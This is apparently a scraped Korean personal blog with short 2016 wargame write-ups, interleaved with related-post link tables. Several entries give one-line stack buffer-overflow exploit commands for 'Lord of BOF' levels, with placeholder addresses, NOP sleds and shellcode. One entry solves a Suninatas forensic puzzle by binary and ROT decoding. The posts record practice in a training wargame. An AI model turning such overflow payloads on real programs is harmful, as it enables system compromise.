// 에그헌터 = 환경변수 ㅗ
// argv[1] 47th > \xbf
./orc `python -c 'print "A"*44+"address"+"\x90"*100000+"shellcode"'`
| LOB_wolfman > darkelf (0) | 2016.09.12 |
|---|---|
| LOB_orc > wolfman (0) | 2016.09.12 |
| LOB_coblot > goblin (0) | 2016.09.12 |
| LOB_gremlin > cobolt (0) | 2016.09.12 |
| LOB_gate > gremlin (0) | 2016.09.12 |
// 표준 스트림, 작은 버퍼
// stdin을 가지고 노는것을 모르겠다...그냥 쉘주소 가져와서 품.
환경변수 씀.
(python -c 'print "A"*20+"address"'`;cat) | ./goblin
| LOB_orc > wolfman (0) | 2016.09.12 |
|---|---|
| LOB_goblin > orc (0) | 2016.09.12 |
| LOB_gremlin > cobolt (0) | 2016.09.12 |
| LOB_gate > gremlin (0) | 2016.09.12 |
| Lord of bof. (0) | 2016.09.07 |
// 작은 버퍼할당 > 리턴 뒤 할당.
./coblot `python -c 'print "A"*20+"address"+"\x90"*100000+"shellcode"'`
| LOB_orc > wolfman (0) | 2016.09.12 |
|---|---|
| LOB_goblin > orc (0) | 2016.09.12 |
| LOB_coblot > goblin (0) | 2016.09.12 |
| LOB_gate > gremlin (0) | 2016.09.12 |
| Lord of bof. (0) | 2016.09.07 |
// 심플 bof.
./gremlin `python -c 'print "A"*(버퍼+sfp)+"shellcode"+"return"'`
| LOB_orc > wolfman (0) | 2016.09.12 |
|---|---|
| LOB_goblin > orc (0) | 2016.09.12 |
| LOB_coblot > goblin (0) | 2016.09.12 |
| LOB_gremlin > cobolt (0) | 2016.09.12 |
| Lord of bof. (0) | 2016.09.07 |
hack-me 재밌어서 몇몇 문제 풀었는데 막혀부러띠;;
| RSA script (0) | 2017.05.08 |
|---|---|
| Openssl install (0) | 2017.02.25 |
| 8. 저작 재산권 (1) | 2016.07.03 |
| 7. 저작권 (0) | 2016.07.03 |
| 6. 정보기기 보안 및 관리 수칙 (0) | 2016.06.30 |
오늘의 수확량 5문제/787등
// 사실상 로우바둑좌;
| Web_Tools (0) | 2016.11.30 |
|---|---|
| PHP Comparison (0) | 2016.09.20 |
| SQL Injection - Beginner (0) | 2016.06.07 |
fin....
// Q. LOB던전 (1/3)
// Q. LOB분석 (0/1)
| LOB_orc > wolfman (0) | 2016.09.12 |
|---|---|
| LOB_goblin > orc (0) | 2016.09.12 |
| LOB_coblot > goblin (0) | 2016.09.12 |
| LOB_gremlin > cobolt (0) | 2016.09.12 |
| LOB_gate > gremlin (0) | 2016.09.12 |
이번에는 19번 포렌식 문제를 풀어보자. 꽤 오래전에 푼 기억이 난 문제지만 풀이를 쓰는걸 매번 까먹고 있었다...쩝
아무튼 풀어보도록 하자.
딱봐도 2진수인데 나눠서 읽기 편하게 하자.
파이썬으로 뚝딱 한 코딩내용
// 깨져서 윈도우에서 다시함....맥북 쓰래기네 ㅎ
2진수를 나눠 이제 분석할 차례인데. 바이너리 파일 같아서 일단 바이너리 디코더로 돌려보자.
나도 까먹고 그럴꺼 같아서 돌렸는데 한번에 맞췄다...
무튼 문자열을 알았으니 이제 저 코드를 가지고 flag를 추측해보자
문장 띄어쓰기며 문자 배열도 이상한게 예전 암호학 관련해서 본 책에서 카이사르 암호화가 떠오른다.
ROT로 디코더를 해보자.
성 공.
| Suninatas.kr - 18 Forensic (0) | 2016.06.12 |
|---|
write up 쓸 준비를 해야겠다.
// 기초 복습중
| payload? (0) | 2016.09.29 |
|---|---|
| System study 근황. (0) | 2016.09.20 |
| System - Format String Attack 1 (0) | 2016.08.05 |
| 생각난김에 쓴 심볼릭 링크 (0) | 2016.07.19 |
| System - Return To Library (0) | 2016.06.30 |
